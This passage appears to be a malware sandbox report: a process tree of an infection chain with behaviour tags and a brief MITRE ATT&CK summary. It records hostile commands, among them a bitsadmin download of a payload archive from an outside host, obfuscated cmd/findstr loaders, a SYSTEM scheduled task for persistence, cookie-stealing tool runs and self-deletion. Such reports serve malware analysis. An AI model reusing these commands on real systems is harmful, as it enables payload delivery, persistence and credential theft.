C:\Users\Admin\AppData\Local\Temp\ahu4rvdo.5w3\huesaa.exeC:\Users\Admin\AppData\Local\Temp\ahu4rvdo.5w3\huesaa.exe6⤵
- Executes dropped EXE
PID:4720 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:3388
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:2168
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:4228
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:4104
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cnzc1znh.d3c\setup.exe & exit5⤵PID:4724
-
C:\Users\Admin\AppData\Local\Temp\cnzc1znh.d3c\setup.exeC:\Users\Admin\AppData\Local\Temp\cnzc1znh.d3c\setup.exe6⤵
- Executes dropped EXE
PID:3632 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\cnzc1znh.d3c\setup.exe"7⤵PID:5220
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30008⤵
- Runs ping.exe
PID:5460
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ug2ev1u5.ze2\askinstall39.exe & exit5⤵PID:5324
-
C:\Users\Admin\AppData\Local\Temp\ug2ev1u5.ze2\askinstall39.exeC:\Users\Admin\AppData\Local\Temp\ug2ev1u5.ze2\askinstall39.exe6⤵
- Executes dropped EXE
PID:4228 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5608 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:5616
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1c0jt5ri.llo\Setup_v3.exe & exit5⤵PID:4984
-
C:\Users\Admin\AppData\Local\Temp\1c0jt5ri.llo\Setup_v3.exeC:\Users\Admin\AppData\Local\Temp\1c0jt5ri.llo\Setup_v3.exe6⤵
- Executes dropped EXE
PID:5680 -
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"7⤵PID:4316
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cfJhtziJSwbWaavQqftKBOzknThtiEQiDkdMlfkCNBTYvSLeKmkYzx & C:\Windows\System32\cmd.exe < Sta.vstm7⤵
- Executes dropped EXE
PID:5320 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe8⤵PID:1192
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^auPnRNysIHbguzrrqNSScEBqzRPPbdMbFoQYCAfsPGuHOxFbthGdjTOOFOtZYdTsVqJXDtAAbBePnTjYkaLlJckLzezNcd$" Poi.vstm9⤵PID:1328
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Fessura.exe.comFessura.exe.com Z9⤵
- Suspicious use of WriteProcessMemory
PID:696 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Fessura.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Fessura.exe.com Z10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:4420 -
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "PjPVhJpbFf" /tr "C:\\Users\\Admin\\AppData\\Roaming\\cpyTzEXhxT\\PjPVhJpbFf.exe.com C:\\Users\\Admin\\AppData\\Roaming\\cpyTzEXhxT\\A" /sc onstart /F /RU SYSTEM11⤵
- Creates scheduled task(s)
PID:2100
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe11⤵
- Executes dropped EXE
PID:5724
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:3916
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "7⤵PID:4880
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xvlulupp.sfj\toolspab1.exe & exit5⤵PID:4676
-
C:\Users\Admin\AppData\Local\Temp\xvlulupp.sfj\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\xvlulupp.sfj\toolspab1.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4560 -
C:\Users\Admin\AppData\Local\Temp\xvlulupp.sfj\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\xvlulupp.sfj\toolspab1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4976
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rd3042l4.0cm\005.exe & exit5⤵PID:4636
-
C:\Users\Admin\AppData\Local\Temp\rd3042l4.0cm\005.exeC:\Users\Admin\AppData\Local\Temp\rd3042l4.0cm\005.exe6⤵PID:4728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1zeh2cgx.5pe\SunLabsPlayer.exe /S & exit5⤵PID:1824
-
C:\Users\Admin\AppData\Local\Temp\1zeh2cgx.5pe\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\1zeh2cgx.5pe\SunLabsPlayer.exe /S6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:4996 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5684
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵
- Executes dropped EXE
PID:696 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:5324
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:5016
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5424
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5544
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:2728
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
PID:2028
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
PID:5840
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pYteES4lQZFgwzl9 -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2240
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -psYh2fEpZVkJfYf1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
PID:3856
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5568
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:2260
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5044
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:5684
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5732
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:4760
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5780
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Executes dropped EXE
PID:4624
-
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\NXfSHgjpzLhX\NXfSHgjpzLhX.dll" NXfSHgjpzLhX7⤵
- Loads dropped DLL
PID:624 -
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\NXfSHgjpzLhX\NXfSHgjpzLhX.dll" NXfSHgjpzLhX8⤵
- Loads dropped DLL
- Drops file in System32 directory
PID:4860
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:4596
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:4488
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:6000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:4812
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspD171.tmp\tempfile.ps1"7⤵PID:5524
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
- Executes dropped EXE
PID:5828
-
-
-
-
-
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2488
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2340
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2304
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1868
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1436
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1348
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1256
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1088
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:948 -
C:\Users\Admin\AppData\Roaming\dvujsjvC:\Users\Admin\AppData\Roaming\dvujsjv2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5940 -
C:\Users\Admin\AppData\Roaming\dvujsjvC:\Users\Admin\AppData\Roaming\dvujsjv3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5760
-
-
-
C:\Users\Admin\AppData\Roaming\dvujsjvC:\Users\Admin\AppData\Roaming\dvujsjv2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4936 -
C:\Users\Admin\AppData\Roaming\dvujsjvC:\Users\Admin\AppData\Roaming\dvujsjv3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5320
-
-
-
C:\Users\Admin\AppData\Roaming\dvujsjvC:\Users\Admin\AppData\Roaming\dvujsjv2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:644 -
C:\Users\Admin\AppData\Roaming\dvujsjvC:\Users\Admin\AppData\Roaming\dvujsjv3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:964
-
-
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe "C:\Program Files (x86)\NXfSHgjpzLhX\NXfSHgjpzLhX.dll",NXfSHgjpzLhX2⤵
- Windows security modification
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3680
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1008
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
PID:2164 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:5288
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4452
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4828
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5352
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
PID:5620
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FA3CEB6455515C11E32F8D575A5C2090 C2⤵
- Loads dropped DLL
PID:4552
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 22DB0B6077F3FD3D687B4F59E0038FAE2⤵PID:5016
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:5096
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0A8316EE9FFB07BDA830369F03856ABC E Global\MSI00002⤵
- Loads dropped DLL
PID:4576
-
-
C:\Users\Admin\AppData\Local\Temp\7CB3.exeC:\Users\Admin\AppData\Local\Temp\7CB3.exe1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5228 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 12⤵PID:5792
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
PID:4212
-
-
-
C:\Users\Admin\AppData\Local\Temp\7CB3.exe"C:\Users\Admin\AppData\Local\Temp\7CB3.exe"2⤵
- Executes dropped EXE
PID:5268
-
-
C:\Users\Admin\AppData\Local\Temp\7CB3.exe"C:\Users\Admin\AppData\Local\Temp\7CB3.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4728 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 7CB3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7CB3.exe" & del C:\ProgramData\*.dll & exit3⤵PID:4956
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 7CB3.exe /f4⤵
- Kills process with taskkill
PID:5048
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:4760
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5228 -s 14762⤵
- Program crash
PID:3100
-
-
C:\Users\Admin\AppData\Local\Temp\8138.exeC:\Users\Admin\AppData\Local\Temp\8138.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5996 -
C:\Users\Admin\AppData\Local\Temp\8138.exe"C:\Users\Admin\AppData\Local\Temp\8138.exe"2⤵
- Executes dropped EXE
PID:2156
-
-
C:\Users\Admin\AppData\Local\Temp\859E.exeC:\Users\Admin\AppData\Local\Temp\859E.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3244
-
C:\Users\Admin\AppData\Local\Temp\8CB3.exeC:\Users\Admin\AppData\Local\Temp\8CB3.exe1⤵PID:4624
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"2⤵PID:4112
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c aOfiOrAQXMwQbejRxngsEXftIiahnVRVsrHIboQugmloFLOHTjdLTJSxnlnHKhswVymzxEzkHortNunX & C:\Windows\System32\cmd.exe < Viscere.xll2⤵PID:5440
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe3⤵PID:216
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^btwCyeafUCTExwKGoPydOFoWmoEwfCqEVKpycYOURJeGZvjryQEabMASVyrWbsqaBgJKSEkpqlnyDCWrWBVnXIippdpdUSbAIKt$" Lunga.xll4⤵PID:5292
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Mutato.exe.comMutato.exe.com f4⤵
- Executes dropped EXE
PID:4312 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Mutato.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Mutato.exe.com f5⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5308 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe6⤵
- Executes dropped EXE
PID:3952
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
PID:2100
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\A09A.exeC:\Users\Admin\AppData\Local\Temp\A09A.exe1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5876 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 12⤵PID:5764
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
PID:5008
-
-
-
C:\Users\Admin\AppData\Local\Temp\A09A.exe"C:\Users\Admin\AppData\Local\Temp\A09A.exe"2⤵
- Executes dropped EXE
PID:3864
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5876 -s 14922⤵
- Program crash
PID:1292
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5408
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5516
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5020
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:4856
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4432
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:4628
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2648
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:4608
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4436
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4200
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:5452
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1592
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5112
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4208
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5800
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6000
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4364
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5524
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:3244
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:5564
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
BITS Jobs
1Disabling Security Tools
2Install Root Certificate
1Modify Registry
5Web Service
1